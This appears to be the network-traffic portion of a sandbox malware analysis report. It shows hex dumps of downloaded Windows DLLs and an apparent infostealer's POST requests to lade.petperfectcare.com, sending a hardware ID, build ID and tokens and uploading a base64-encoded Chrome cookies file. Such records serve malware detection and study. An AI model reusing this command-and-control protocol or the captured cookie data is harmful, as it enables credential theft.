58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:51 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:51 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:51 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:32 GMTContent-Type: application/octet-streamContent-Length: 551424Last-Modified: Mon, 07 Oct 2024 15:48:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "670402c0-86a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 dc 02 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 20 b5 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 80 08 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 d4 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 a3 05 00 00 d0 02 00 00 96 05 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 80 08 00 00 04 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 1a 00 00 00 90 08 00 00 1c 00 00 00 4e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKHost: lade.petperfectcare.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 36 39 33 37 34 33 39 33 39 30 31 39 34 32 37 37 39 37 33 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="hwid"8869374393901942779736-a33c7340-61ca------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JEBGIIDBKEBFBGCAEBAK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="mode"1------KKKJEHCGCGDAAAKFHJKJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFCHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 2d 2d 0d 0a Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="mode"2------AEHIJDAFBKFHIDGCFBFC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJHost: lade.petperfectcare.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="mode"21------IDAEHCFHJJJJECAAFBKJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: lade.petperfectcare.comContent-Length: 5465Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: lade.petperfectcare.comContent-Length: 829Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 